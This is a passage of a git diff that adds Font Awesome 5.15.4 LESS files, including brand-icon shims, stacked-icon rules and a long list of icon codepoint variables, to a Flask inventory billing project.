Brands'; + font-weight: 400; +} + +.@{fa-css-prefix}.@{fa-css-prefix}-etsy { + font-family: 'Font Awesome 5 Brands'; + font-weight: 400; +} + +.@{fa-css-prefix}.@{fa-css-prefix}-imdb { + font-family: 'Font Awesome 5 Brands'; + font-weight: 400; +} + +.@{fa-css-prefix}.@{fa-css-prefix}-ravelry { + font-family: 'Font Awesome 5 Brands'; + font-weight: 400; +} + +.@{fa-css-prefix}.@{fa-css-prefix}-eercast { + font-family: 'Font Awesome 5 Brands'; + font-weight: 400; +} +.@{fa-css-prefix}.@{fa-css-prefix}-eercast:before { content: @fa-var-sellcast; } + +.@{fa-css-prefix}.@{fa-css-prefix}-snowflake-o { + font-family: 'Font Awesome 5 Free'; + font-weight: 400; +} +.@{fa-css-prefix}.@{fa-css-prefix}-snowflake-o:before { content: @fa-var-snowflake; } + +.@{fa-css-prefix}.@{fa-css-prefix}-superpowers { + font-family: 'Font Awesome 5 Brands'; + font-weight: 400; +} + +.@{fa-css-prefix}.@{fa-css-prefix}-wpexplorer { + font-family: 'Font Awesome 5 Brands'; + font-weight: 400; +} + +.@{fa-css-prefix}.@{fa-css-prefix}-cab:before { content: @fa-var-taxi; } + diff --git a/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/less/_stacked.less b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/less/_stacked.less new file mode 100644 index 00000000..263b5c44 --- /dev/null +++ b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/less/_stacked.less @@ -0,0 +1,22 @@ +// Stacked Icons +// ------------------------- + +.@{fa-css-prefix}-stack { + display: inline-block; + height: 2em; + line-height: 2em; + position: relative; + vertical-align: middle; + width: 2em; +} + +.@{fa-css-prefix}-stack-1x, .@{fa-css-prefix}-stack-2x { + left: 0; + position: absolute; + text-align: center; + width: 100%; +} + +.@{fa-css-prefix}-stack-1x { line-height: inherit; } +.@{fa-css-prefix}-stack-2x { font-size: 2em; } +.@{fa-css-prefix}-inverse { color: @fa-inverse; } diff --git a/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/less/_variables.less b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/less/_variables.less new file mode 100644 index 00000000..984de168 --- /dev/null +++ b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/less/_variables.less @@ -0,0 +1,1473 @@ +// Variables +// -------------------------- + +@fa-font-path: "../webfonts"; +@fa-font-size-base: 16px; +@fa-font-display: block; +@fa-line-height-base: 1; +@fa-css-prefix: fa; +@fa-version: "5.15.4"; +@fa-border-color: #eee; +@fa-inverse: #fff; +@fa-li-width: 2em; +@fa-primary-opacity: 1; +@fa-secondary-opacity: .4; + +@fa-var-500px: "\f26e"; +@fa-var-accessible-icon: "\f368"; +@fa-var-accusoft: "\f369"; +@fa-var-acquisitions-incorporated: "\f6af"; +@fa-var-ad: "\f641"; +@fa-var-address-book: "\f2b9"; +@fa-var-address-card: "\f2bb"; +@fa-var-adjust: "\f042"; +@fa-var-adn: "\f170"; +@fa-var-adversal: "\f36a"; +@fa-var-affiliatetheme: "\f36b"; +@fa-var-air-freshener: "\f5d0"; +@fa-var-airbnb: "\f834"; +@fa-var-algolia: "\f36c"; +@fa-var-align-center: "\f037"; +@fa-var-align-justify: "\f039"; +@fa-var-align-left: "\f036"; +@fa-var-align-right: "\f038"; +@fa-var-alipay: "\f642"; +@fa-var-allergies: "\f461"; +@fa-var-amazon: "\f270"; +@fa-var-amazon-pay: "\f42c"; +@fa-var-ambulance: "\f0f9"; +@fa-var-american-sign-language-interpreting: "\f2a3"; +@fa-var-amilia: "\f36d"; +@fa-var-anchor: "\f13d"; +@fa-var-android: "\f17b"; +@fa-var-angellist: "\f209"; +@fa-var-angle-double-down: "\f103"; +@fa-var-angle-double-left: "\f100"; +@fa-var-angle-double-right: "\f101"; +@fa-var-angle-double-up: "\f102"; +@fa-var-angle-down: "\f107"; +@fa-var-angle-left: "\f104"; +@fa-var-angle-right: "\f105"; +@fa-var-angle-up: "\f106"; +@fa-var-angry: "\f556"; +@fa-var-angrycreative: "\f36e"; +@fa-var-angular: "\f420"; +@fa-var-ankh: "\f644"; +@fa-var-app-store: "\f36f"; +@fa-var-app-store-ios: "\f370"; +@fa-var-apper: "\f371"; +@fa-var-apple: "\f179"; +@fa-var-apple-alt: "\f5d1"; +@fa-var-apple-pay: "\f415"; +@fa-var-archive: "\f187"; +@fa-var-archway: "\f557"; +@fa-var-arrow-alt-circle-down: "\f358"; +@fa-var-arrow-alt-circle-left: "\f359"; +@fa-var-arrow-alt-circle-right: "\f35a"; +@fa-var-arrow-alt-circle-up: "\f35b"; +@fa-var-arrow-circle-down: "\f0ab"; +@fa-var-arrow-circle-left: "\f0a8"; +@fa-var-arrow-circle-right: "\f0a9"; +@fa-var-arrow-circle-up: "\f0aa"; +@fa-var-arrow-down: "\f063"; +@fa-var-arrow-left: "\f060"; +@fa-var-arrow-right: "\f061"; +@fa-var-arrow-up: "\f062"; +@fa-var-arrows-alt: "\f0b2"; +@fa-var-arrows-alt-h: "\f337"; +@fa-var-arrows-alt-v: "\f338"; +@fa-var-artstation: "\f77a"; +@fa-var-assistive-listening-systems: "\f2a2"; +@fa-var-asterisk: "\f069"; +@fa-var-asymmetrik: "\f372"; +@fa-var-at: "\f1fa"; +@fa-var-atlas: "\f558"; +@fa-var-atlassian: "\f77b"; +@fa-var-atom: "\f5d2"; +@fa-var-audible: "\f373"; +@fa-var-audio-description: "\f29e"; +@fa-var-autoprefixer: "\f41c"; +@fa-var-avianex: "\f374"; +@fa-var-aviato: "\f421"; +@fa-var-award: "\f559"; +@fa-var-aws: "\f375"; +@fa-var-baby: "\f77c"; +@fa-var-baby-carriage: "\f77d"; +@fa-var-backspace: "\f55a"; +@fa-var-backward: "\f04a"; +@fa-var-bacon: "\f7e5"; +@fa-var-bacteria: "\e059"; +@fa-var-bacterium: "\e05a"; +@fa-var-bahai: "\f666"; +@fa-var-balance-scale: "\f24e"; +@fa-var-balance-scale-left: "\f515"; +@fa-var-balance-scale-right: "\f516"; +@fa-var-ban: "\f05e"; +@fa-var-band-aid: "\f462"; +@fa-var-bandcamp: "\f2d5"; +@fa-var-barcode: "\f02a"; +@fa-var-bars: "\f0c9"; +@fa-var-baseball-ball: "\f433"; +@fa-var-basketball-ball: "\f434"; +@fa-var-bath: "\f2cd"; +@fa-var-battery-empty: "\f244"; +@fa-var-battery-full: "\f240"; +@fa-var-battery-half: "\f242"; +@fa-var-battery-quarter: "\f243"; +@fa-var-battery-three-quarters: "\f241"; +@fa-var-battle-net: "\f835"; +@fa-var-bed: "\f236"; +@fa-var-beer: "\f0fc"; +@fa-var-behance: "\f1b4"; +@fa-var-behance-square: "\f1b5"; +@fa-var-bell: "\f0f3"; +@fa-var-bell-slash: "\f1f6"; +@fa-var-bezier-curve: "\f55b"; +@fa-var-bible: "\f647"; +@fa-var-bicycle: "\f206"; +@fa-var-biking: "\f84a"; +@fa-var-bimobject: "\f378"; +@fa-var-binoculars: "\f1e5"; +@fa-var-biohazard: "\f780"; +@fa-var-birthday-cake: "\f1fd"; +@fa-var-bitbucket: "\f171"; +@fa-var-bitcoin: "\f379"; +@fa-var-bity: "\f37a"; +@fa-var-black-tie: "\f27e"; +@fa-var-blackberry: "\f37b"; +@fa-var-blender: "\f517"; +@fa-var-blender-phone: "\f6b6"; +@fa-var-blind: "\f29d"; +@fa-var-blog: "\f781"; +@fa-var-blogger: "\f37c"; +@fa-var-blogger-b: "\f37d"; +@fa-var-bluetooth: "\f293"; +@fa-var-bluetooth-b: "\f294"; +@fa-var-bold: "\f032"; +@fa-var-bolt: "\f0e7"; +@fa-var-bomb: "\f1e2"; +@fa-var-bone: "\f5d7"; +@fa-var-bong: "\f55c"; +@fa-var-book: "\f02d"; +@fa-var-book-dead: "\f6b7"; +@fa-var-book-medical: "\f7e6"; +@fa-var-book-open: "\f518"; +@fa-var-book-reader: "\f5da"; +@fa-var-bookmark: "\f02e"; +@fa-var-bootstrap: "\f836"; +@fa-var-border-all: "\f84c"; +@fa-var-border-none: "\f850"; +@fa-var-border-style: "\f853"; +@fa-var-bowling-ball: "\f436"; +@fa-var-box: "\f466"; +@fa-var-box-open: "\f49e"; +@fa-var-box-tissue: "\e05b"; +@fa-var-boxes: "\f468"; +@fa-var-braille: "\f2a1"; +@fa-var-brain: "\f5dc"; +@fa-var-bread-slice: "\f7ec"; +@fa-var-briefcase: "\f0b1"; +@fa-var-briefcase-medical: "\f469"; +@fa-var-broadcast-tower: "\f519"; +@fa-var-broom: "\f51a"; +@fa-var-brush: "\f55d"; +@fa-var-btc: "\f15a"; +@fa-var-buffer: "\f837"; +@fa-var-bug: "\f188"; +@fa-var-building: "\f1ad"; +@fa-var-bullhorn: "\f0a1"; +@fa-var-bullseye: "\f140"; +@fa-var-burn: "\f46a"; +@fa-var-buromobelexperte: "\f37f"; +@fa-var-bus: "\f207"; +@fa-var-bus-alt: "\f55e"; +@fa-var-business-time: "\f64a"; +@fa-var-buy-n-large: "\f8a6"; +@fa-var-buysellads: "\f20d"; +@fa-var-calculator: "\f1ec"; +@fa-var-calendar: "\f133"; +@fa-var-calendar-alt: "\f073"; +@fa-var-calendar-check: "\f274"; +@fa-var-calendar-day: "\f783"; +@fa-var-calendar-minus: "\f272"; +@fa-var-calendar-plus: "\f271"; +@fa-var-calendar-times: "\f273"; +@fa-var-calendar-week: "\f784"; +@fa-var-camera: "\f030"; +@fa-var-camera-retro: "\f083"; +@fa-var-campground: "\f6bb"; +@fa-var-canadian-maple-leaf: "\f785"; +@fa-var-candy-cane: "\f786"; +@fa-var-cannabis: "\f55f"; +@fa-var-capsules: "\f46b"; +@fa-var-car: "\f1b9"; +@fa-var-car-alt: "\f5de"; +@fa-var-car-battery: "\f5df"; +@fa-var-car-crash: "\f5e1"; +@fa-var-car-side: "\f5e4"; +@fa-var-caravan: "\f8ff"; +@fa-var-caret-down: "\f0d7"; +@fa-var-caret-left: "\f0d9"; +@fa-var-caret-right: "\f0da"; +@fa-var-caret-square-down: "\f150"; +@fa-var-caret-square-left: "\f191"; +@fa-var-caret-square-right: "\f152"; +@fa-var-caret-square-up: "\f151"; +@fa-var-caret-up: "\f0d8"; +@fa-var-carrot: "\f787"; +@fa-var-cart-arrow-down: "\f218"; +@fa-var-cart-plus: "\f217"; +@fa-var-cash-register: "\f788"; +@fa-var-cat: "\f6be"; +@fa-var-cc-amazon-pay: "\f42d"; +@fa-var-cc-amex: "\f1f3"; +@fa-var-cc-apple-pay: "\f416"; +@fa-var-cc-diners-club: "\f24c"; +@fa-var-cc-discover: "\f1f2"; +@fa-var-cc-jcb: "\f24b"; +@fa-var-cc-mastercard: "\f1f1"; +@fa-var-cc-paypal: "\f1f4"; +@fa-var-cc-stripe: "\f1f5"; +@fa-var-cc-visa: "\f1f0"; +@fa-var-centercode: "\f380"; +@fa-var-centos: "\f789"; +@fa-var-certificate: "\f0a3"; +@fa-var-chair: "\f6c0"; +@fa-var-chalkboard: "\f51b"; +@fa-var-chalkboard-teacher: "\f51c"; +@fa-var-charging-station: "\f5e7"; +@fa-var-chart-area: "\f1fe"; +@fa-var-chart-bar: "\f080"; +@fa-var-chart-line: "\f201"; +@fa-var-chart-pie: "\f200"; +@fa-var-check: "\f00c"; +@fa-var-check-circle: "\f058"; +@fa-var-check-double: "\f560"; +@fa-var-check-square: "\f14a"; +@fa-var-cheese: "\f7ef"; +@fa-var-chess: "\f439"; +@fa-var-chess-bishop: "\f43a"; +@fa-var-chess-board: "\f43c"; +@fa-var-chess-king: "\f43f"; +@fa-var-chess-knight: "\f441"; +@fa-var-chess-pawn: "\f443"; +@fa-var-chess-queen: "\f445"; +@fa-var-chess-rook: "\f447"; +@fa-var-chevron-circle-down: "\f13a"; +@fa-var-chevron-circle-left: "\f137"; +@fa-var-chevron-circle-right: "\f138"; +@fa-var-chevron-circle-up: "\f139"; +@fa-var-chevron-down: "\f078"; +@fa-var-chevron-left: "\f053"; +@fa-var-chevron-right: "\f054"; +@fa-var-chevron-up: "\f077"; +@fa-var-child: "\f1ae"; +@fa-var-chrome: "\f268"; +@fa-var-chromecast: "\f838"; +@fa-var-church: "\f51d"; +@fa-var-circle: "\f111"; +@fa-var-circle-notch: "\f1ce"; +@fa-var-city: "\f64f"; +@fa-var-clinic-medical: "\f7f2"; +@fa-var-clipboard: "\f328"; +@fa-var-clipboard-check: "\f46c"; +@fa-var-clipboard-list: "\f46d"; +@fa-var-clock: "\f017"; +@fa-var-clone: "\f24d"; +@fa-var-closed-captioning: "\f20a"; +@fa-var-cloud: "\f0c2"; +@fa-var-cloud-download-alt: "\f381"; +@fa-var-cloud-meatball: "\f73b"; +@fa-var-cloud-moon: "\f6c3"; +@fa-var-cloud-moon-rain: "\f73c"; +@fa-var-cloud-rain: "\f73d"; +@fa-var-cloud-showers-heavy: "\f740"; +@fa-var-cloud-sun: "\f6c4"; +@fa-var-cloud-sun-rain: "\f743"; +@fa-var-cloud-upload-alt: "\f382"; +@fa-var-cloudflare: "\e07d"; +@fa-var-cloudscale: "\f383"; +@fa-var-cloudsmith: "\f384"; +@fa-var-cloudversify: "\f385"; +@fa-var-cocktail: "\f561"; +@fa-var-code: "\f121"; +@fa-var-code-branch: "\f126"; +@fa-var-codepen: "\f1cb"; +@fa-var-codiepie: "\f284"; +@fa-var-coffee: "\f0f4"; +@fa-var-cog: "\f013"; +@fa-var-cogs: "\f085"; +@fa-var-coins: "\f51e"; +@fa-var-columns: "\f0db"; +@fa-var-comment: "\f075"; +@fa-var-comment-alt: "\f27a"; +@fa-var-comment-dollar: "\f651"; +@fa-var-comment-dots: "\f4ad"; +@fa-var-comment-medical: "\f7f5"; +@fa-var-comment-slash: "\f4b3"; +@fa-var-comments: "\f086"; +@fa-var-comments-dollar: "\f653"; +@fa-var-compact-disc: "\f51f"; +@fa-var-compass: "\f14e"; +@fa-var-compress: "\f066"; +@fa-var-compress-alt: "\f422"; +@fa-var-compress-arrows-alt: "\f78c"; +@fa-var-concierge-bell: "\f562"; +@fa-var-confluence: "\f78d"; +@fa-var-connectdevelop: "\f20e"; +@fa-var-contao: "\f26d"; +@fa-var-cookie: "\f563"; +@fa-var-cookie-bite: "\f564"; +@fa-var-copy: "\f0c5"; +@fa-var-copyright: "\f1f9"; +@fa-var-cotton-bureau: "\f89e"; +@fa-var-couch: "\f4b8"; +@fa-var-cpanel: "\f388"; +@fa-var-creative-commons: "\f25e"; +@fa-var-creative-commons-by: "\f4e7"; +@fa-var-creative-commons-nc: "\f4e8"; +@fa-var-creative-commons-nc-eu: "\f4e9"; +@fa-var-creative-commons-nc-jp: "\f4ea"; +@fa-var-creative-commons-nd: "\f4eb"; +@fa-var-creative-commons-pd: "\f4ec"; +@fa-var-creative-commons-pd-alt: "\f4ed"; +@fa-var-creative-commons-remix: "\f4ee"; +@fa-var-creative-commons-sa: "\f4ef"; +@fa-var-creative-commons-sampling: "\f4f0"; +@fa-var-creative-commons-sampling-plus: "\f4f1"; +@fa-var-creative-commons-share: "\f4f2"; +@fa-var-creative-commons-zero: "\f4f3"; +@fa-var-credit-card: "\f09d"; +@fa-var-critical-role: "\f6c9"; +@fa-var-crop: "\f125"; +@fa-var-crop-alt: "\f565"; +@fa-var-cross: "\f654"; +@fa-var-crosshairs: "\f05b"; +@fa-var-crow: "\f520"; +@fa-var-crown: "\f521"; +@fa-var-crutch: "\f7f7"; +@fa-var-css3: "\f13c"; +@fa-var-css3-alt: "\f38b"; +@fa-var-cube: "\f1b2"; +@fa-var-cubes: "\f1b3"; +@fa-var-cut: "\f0c4"; +@fa-var-cuttlefish: "\f38c"; +@fa-var-d-and-d: "\f38d"; +@fa-var-d-and-d-beyond: "\f6ca"; +@fa-var-dailymotion: "\e052"; +@fa-var-dashcube: "\f210"; +@fa-var-database: "\f1c0"; +@fa-var-deaf: "\f2a4"; +@fa-var-deezer: "\e077"; +@fa-var-delicious: "\f1a5"; +@fa-var-democrat: "\f747"; +@fa-var-deploydog: "\f38e"; +@fa-var-deskpro: "\f38f"; +@fa-var-desktop: "\f108"; +@fa-var-dev: "\f6cc"; +@fa-var-deviantart: "\f1bd"; +@fa-var-dharmachakra: "\f655"; +@fa-var-dhl: "\f790"; +@fa-var-diagnoses: "\f470"; +@fa-var-diaspora: "\f791"; +@fa-var-dice: "\f522"; +@fa-var-dice-d20: "\f6cf"; +@fa-var-dice-d6: "\f6d1"; +@fa-var-dice-five: "\f523"; +@fa-var-dice-four: "\f524"; +@fa-var-dice-one: "\f525"; +@fa-var-dice-six: "\f526"; +@fa-var-dice-three: "\f527"; +@fa-var-dice-two: "\f528"; +@fa-var-digg: "\f1a6"; +@fa-var-digital-ocean: "\f391"; +@fa-var-digital-tachograph: "\f566"; +@fa-var-directions: "\f5eb"; +@fa-var-discord: "\f392"; +@fa-var-discourse: "\f393"; +@fa-var-disease: "\f7fa"; +@fa-var-divide: "\f529"; +@fa-var-dizzy: "\f567"; +@fa-var-dna: "\f471"; +@fa-var-dochub: "\f394"; +@fa-var-docker: "\f395"; +@fa-var-dog: "\f6d3"; +@fa-var-dollar-sign: "\f155"; +@fa-var-dolly: "\f472"; +@fa-var-dolly-flatbed: "\f474"; +@fa-var-donate: "\f4b9"; +@fa-var-door-closed: "\f52a"; +@fa-var-door-open: "\f52b"; +@fa-var-dot-circle: "\f192"; +@fa-var-dove: "\f4ba"; +@fa-var-download: "\f019"; +@fa-var-draft2digital: "\f396"; +@fa-var-drafting-compass: "\f568"; +@fa-var-dragon: "\f6d5"; +@fa-var-draw-polygon: "\f5ee"; +@fa-var-dribbble: "\f17d"; +@fa-var-dribbble-square: "\f397"; +@fa-var-dropbox: "\f16b"; +@fa-var-drum: "\f569"; +@fa-var-drum-steelpan: "\f56a"; +@fa-var-drumstick-bite: "\f6d7"; +@fa-var-drupal: "\f1a9"; +@fa-var-dumbbell: "\f44b"; +@fa-var-dumpster: "\f793"; +@fa-var-dumpster-fire: "\f794"; +@fa-var-dungeon: "\f6d9"; +@fa-var-dyalog: "\f399"; +@fa-var-earlybirds: "\f39a"; +@fa-var-ebay: "\f4f4"; +@fa-var-edge: "\f282"; +@fa-var-edge-legacy: "\e078"; +@fa-var-edit: "\f044"; +@fa-var-egg: "\f7fb"; +@fa-var-eject: "\f052"; +@fa-var-elementor: "\f430"; +@fa-var-ellipsis-h: "\f141"; +@fa-var-ellipsis-v: "\f142"; +@fa-var-ello: "\f5f1"; +@fa-var-ember: "\f423"; +@fa-var-empire: "\f1d1"; +@fa-var-envelope: "\f0e0"; +@fa-var-envelope-open: "\f2b6"; +@fa-var-envelope-open-text: "\f658"; +@fa-var-envelope-square: "\f199"; +@fa-var-envira: "\f299"; +@fa-var-equals: "\f52c"; +@fa-var-eraser: "\f12d"; +@fa-var-erlang: "\f39d"; +@fa-var-ethereum: "\f42e"; +@fa-var-ethernet: "\f796"; +@fa-var-etsy: "\f2d7"; +@fa-var-euro-sign: "\f153"; +@fa-var-evernote: "\f839"; +@fa-var-exchange-alt: "\f362"; +@fa-var-exclamation: "\f12a"; +@fa-var-exclamation-circle: "\f06a"; +@fa-var-exclamation-triangle: "\f071"; +@fa-var-expand: "\f065"; +@fa-var-expand-alt: "\f424"; +@fa-var-expand-arrows-alt: "\f31e"; +@fa-var-expeditedssl: "\f23e"; +@fa-var-external-link-alt: "\f35d"; +@fa-var-external-link-square-alt: "\f360"; +@fa-var-eye: "\f06e"; +@fa-var-eye-dropper: "\f1fb"; +@fa-var-eye-slash: "\f070"; +@fa-var-facebook: "\f09a"; +@fa-var-facebook-f: "\f39e"; +@fa-var-facebook-messenger: "\f39f"; +@fa-var-facebook-square: "\f082"; +@fa-var-fan: "\f863"; +@fa-var-fantasy-flight-games: "\f6dc"; +@fa-var-fast-backward: "\f049"; +@fa-var-fast-forward: "\f050"; +@fa-var-faucet: "\e005"; +@fa-var-fax: "\f1ac"; +@fa-var-feather: "\f52d"; +@fa-var-feather-alt: "\f56b"; +@fa-var-fedex: "\f797"; +@fa-var-fedora: "\f798"; +@fa-var-female: "\f182"; +@fa-var-fighter-jet: "\f0fb"; +@fa-var-figma: "\f799"; +@fa-var-file: "\f15b"; +@fa-var-file-alt: "\f15c"; +@fa-var-file-archive: "\f1c6"; +@fa-var-file-audio: "\f1c7"; +@fa-var-file-code: "\f1c9"; +@fa-var-file-contract: "\f56c"; +@fa-var-file-csv: "\f6dd"; +@fa-var-file-download: "\f56d"; +@fa-var-file-excel: "\f1c3"; +@fa-var-file-export: "\f56e"; +@fa-var-file-image: "\f1c5"; +@fa-var-file-import: "\f56f"; +@fa-var-file-invoice: "\f570"; +@fa-var-file-invoice-dollar: "\f571"; +@fa-var-file-medical: "\f477"; +@fa-var-file-medical-alt: "\f478"; +@fa-var-file-pdf: "\f1c1"; +@fa-var-file-powerpoint: "\f1c4"; +@fa-var-file-prescription: "\f572"; +@fa-var-file-signature: "\f573"; +@fa-var-file-upload: "\f574"; +@fa-var-file-video: "\f1c8"; +@fa-var-file-word: "\f1c2"; +@fa-var-fill: "\f575"; +@fa-var-fill-drip: "\f576"; +@fa-var-film: "\f008"; +@fa-var-filter: "\f0b0"; +@fa-var-fingerprint: "\f577"; +@fa-var-fire: "\f06d"; +@fa-var-fire-alt: "\f7e4"; +@fa-var-fire-extinguisher: "\f134"; +@fa-var-firefox: "\f269"; +@fa-var-firefox-browser: "\e007"; +@fa-var-first-aid: "\f479"; +@fa-var-first-order: "\f2b0"; +@fa-var-first-order-alt: "\f50a"; +@fa-var-firstdraft: "\f3a1"; +@fa-var-fish: "\f578"; +@fa-var-fist-raised: "\f6de"; +@fa-var-flag: "\f024"; +@fa-var-flag-checkered: "\f11e"; +@fa-var-flag-usa: "\f74d"; +@fa-var-flask: "\f0c3"; +@fa-var-flickr: "\f16e"; +@fa-var-flipboard: "\f44d"; +@fa-var-flushed: "\f579"; +@fa-var-fly: "\f417"; +@fa-var-folder: "\f07b"; +@fa-var-folder-minus: "\f65d"; +@fa-var-folder-open: "\f07c"; +@fa-var-folder-plus: "\f65e"; +@fa-var-font: "\f031"; +@fa-var-font-awesome: "\f2b4"; +@fa-var-font-awesome-alt: "\f35c"; +@fa-var-font-awesome-flag: "\f425"; +@fa-var-font-awesome-logo-full: "\f4e6"; +@fa-var-fonticons: "\f280"; +@fa-var-fonticons-fi: "\f3a2"; +@fa-var-football-ball: "\f44e"; +@fa-var-fort-awesome: "\f286"; +@fa-var-fort-awesome-alt: "\f3a3"; +@fa-var-forumbee: "\f211"; +@fa-var-forward: "\f04e"; +@fa-var-foursquare: "\f180"; +@fa-var-free-code-camp: "\f2c5"; +@fa-var-freebsd: "\f3a4"; +@fa-var-frog: "\f52e"; +@fa-var-frown: "\f119"; +@fa-var-frown-open: "\f57a"; +@fa-var-fulcrum: "\f50b"; +@fa-var-funnel-dollar: "\f662"; +@fa-var-futbol: "\f1e3"; +@fa-var-galactic-republic: "\f50c"; +@fa-var-galactic-senate: "\f50d"; +@fa-var-gamepad: "\f11b"; +@fa-var-gas-pump: "\f52f"; +@fa-var-gavel: "\f0e3"; +@fa-var-gem: "\f3a5"; +@fa-var-genderless: "\f22d"; +@fa-var-get-pocket: "\f265"; +@fa-var-gg: "\f260"; +@fa-var-gg-circle: "\f261"; +@fa-var-ghost: "\f6e2"; +@fa-var-gift: "\f06b"; +@fa-var-gifts: "\f79c"; +@fa-var-git: "\f1d3"; +@fa-var-git-alt: "\f841"; +@fa-var-git-square: "\f1d2"; +@fa-var-github: "\f09b"; +@fa-var-github-alt: "\f113"; +@fa-var-github-square: "\f092"; +@fa-var-gitkraken: "\f3a6"; +@fa-var-gitlab: "\f296"; +@fa-var-gitter: "\f426"; +@fa-var-glass-cheers: "\f79f"; +@fa-var-glass-martini: "\f000"; +@fa-var-glass-martini-alt: "\f57b"; +@fa-var-glass-whiskey: "\f7a0"; +@fa-var-glasses: "\f530"; +@fa-var-glide: "\f2a5"; +@fa-var-glide-g: "\f2a6"; +@fa-var-globe: "\f0ac"; +@fa-var-globe-africa: "\f57c"; +@fa-var-globe-americas: "\f57d"; +@fa-var-globe-asia: "\f57e"; +@fa-var-globe-europe: "\f7a2"; +@fa-var-gofore: "\f3a7"; +@fa-var-golf-ball: "\f450"; +@fa-var-goodreads: "\f3a8"; +@fa-var-goodreads-g: "\f3a9"; +@fa-var-google: "\f1a0"; +@fa-var-google-drive: "\f3aa"; +@fa-var-google-pay: "\e079"; +@fa-var-google-play: "\f3ab"; +@fa-var-google-plus: "\f2b3"; +@fa-var-google-plus-g: "\f0d5"; +@fa-var-google-plus-square: "\f0d4"; +@fa-var-google-wallet: "\f1ee"; +@fa-var-gopuram: "\f664"; +@fa-var-graduation-cap: "\f19d"; +@fa-var-gratipay: "\f184"; +@fa-var-grav: "\f2d6"; +@fa-var-greater-than: "\f531"; +@fa-var-greater-than-equal: "\f532"; +@fa-var-grimace: "\f57f"; +@fa-var-grin: "\f580"; +@fa-var-grin-alt: "\f581"; +@fa-var-grin-beam: "\f582"; +@fa-var-grin-beam-sweat: "\f583"; +@fa-var-grin-hearts: "\f584"; +@fa-var-grin-squint: "\f585"; +@fa-var-grin-squint-tears: "\f586"; +@fa-var-grin-stars: "\f587"; +@fa-var-grin-tears: "\f588"; +@fa-var-grin-tongue: "\f589"; +@fa-var-grin-tongue-squint: "\f58a"; +@fa-var-grin-tongue-wink: "\f58b"; +@fa-var-grin-wink: "\f58c"; +@fa-var-grip-horizontal: "\f58d"; +@fa-var-grip-lines: "\f7a4"; +@fa-var-grip-lines-vertical: "\f7a5"; +@fa-var-grip-vertical: "\f58e"; +@fa-var-gripfire: "\f3ac"; +@fa-var-grunt: "\f3ad"; +@fa-var-guilded: "\e07e"; +@fa-var-guitar: "\f7a6"; +@fa-var-gulp: "\f3ae"; +@fa-var-h-square: "\f0fd"; +@fa-var-hacker-news: "\f1d4"; +@fa-var-hacker-news-square: "\f3af"; +@fa-var-hackerrank: "\f5f7"; +@fa-var-hamburger: "\f805"; +@fa-var-hammer: "\f6e3"; +@fa-var-hamsa: "\f665"; +@fa-var-hand-holding: "\f4bd"; +@fa-var-hand-holding-heart: "\f4be"; +@fa-var-hand-holding-medical: "\e05c"; +@fa-var-hand-holding-usd: "\f4c0"; +@fa-var-hand-holding-water: "\f4c1"; +@fa-var-hand-lizard: "\f258"; +@fa-var-hand-middle-finger: "\f806"; +@fa-var-hand-paper: "\f256"; +@fa-var-hand-peace: "\f25b"; +@fa-var-hand-point-down: "\f0a7"; +@fa-var-hand-point-left: "\f0a5"; +@fa-var-hand-point-right: "\f0a4"; +@fa-var-hand-point-up: "\f0a6"; +@fa-var-hand-pointer: "\f25a"; +@fa-var-hand-rock: "\f255"; +@fa-var-hand-scissors: "\f257"; +@fa-var-hand-sparkles: "\e05d"; +@fa-var-hand-spock: "\f259"; +@fa-var-hands: "\f4c2"; +@fa-var-hands-helping: "\f4c4"; +@fa-var-hands-wash: "\e05e"; +@fa-var-handshake: "\f2b5"; +@fa-var-handshake-alt-slash: "\e05f"; +@fa-var-handshake-slash: "\e060"; +@fa-var-hanukiah: "\f6e6"; +@fa-var-hard-hat: "\f807"; +@fa-var-hashtag: "\f292"; +@fa-var-hat-cowboy: "\f8c0"; +@fa-var-hat-cowboy-side: "\f8c1"; +@fa-var-hat-wizard: "\f6e8"; +@fa-var-hdd: "\f0a0"; +@fa-var-head-side-cough: "\e061"; +@fa-var-head-side-cough-slash: "\e062"; +@fa-var-head-side-mask: "\e063"; +@fa-var-head-side-virus: "\e064"; +@fa-var-heading: "\f1dc"; +@fa-var-headphones: "\f025"; +@fa-var-headphones-alt: "\f58f"; +@fa-var-headset: "\f590"; +@fa-var-heart: "\f004"; +@fa-var-heart-broken: "\f7a9"; +@fa-var-heartbeat: "\f21e"; +@fa-var-helicopter: "\f533"; +@fa-var-highlighter: "\f591"; +@fa-var-hiking: "\f6ec"; +@fa-var-hippo: "\f6ed"; +@fa-var-hips: "\f452"; +@fa-var-hire-a-helper: "\f3b0"; +@fa-var-history: "\f1da"; +@fa-var-hive: "\e07f"; +@fa-var-hockey-puck: "\f453"; +@fa-var-holly-berry: "\f7aa"; +@fa-var-home: "\f015"; +@fa-var-hooli: "\f427"; +@fa-var-hornbill: "\f592"; +@fa-var-horse: "\f6f0"; +@fa-var-horse-head: "\f7ab"; +@fa-var-hospital: "\f0f8"; +@fa-var-hospital-alt: "\f47d"; +@fa-var-hospital-symbol: "\f47e"; +@fa-var-hospital-user: "\f80d"; +@fa-var-hot-tub: "\f593"; +@fa-var-hotdog: "\f80f"; +@fa-var-hotel: "\f594"; +@fa-var-hotjar: "\f3b1"; +@fa-var-hourglass: "\f254"; +@fa-var-hourglass-end: "\f253"; +@fa-var-hourglass-half: "\f252"; +@fa-var-hourglass-start: "\f251"; +@fa-var-house-damage: "\f6f1"; +@fa-var-house-user: "\e065"; +@fa-var-houzz: "\f27c"; +@fa-var-hryvnia: "\f6f2"; +@fa-var-html5: "\f13b"; +@fa-var-hubspot: "\f3b2"; +@fa-var-i-cursor: "\f246"; +@fa-var-ice-cream: "\f810"; +@fa-var-icicles: "\f7ad"; +@fa-var-icons: "\f86d"; +@fa-var-id-badge: "\f2c1"; +@fa-var-id-card: "\f2c2"; +@fa-var-id-card-alt: "\f47f"; +@fa-var-ideal: "\e013"; +@fa-var-igloo: "\f7ae"; +@fa-var-image: "\f03e"; +@fa-var-images: "\f302"; +@fa-var-imdb: "\f2d8"; +@fa-var-inbox: "\f01c"; +@fa-var-indent: "\f03c"; +@fa-var-industry: "\f275"; +@fa-var-infinity: "\f534"; +@fa-var-info: "\f129"; +@fa-var-info-circle: "\f05a"; +@fa-var-innosoft: 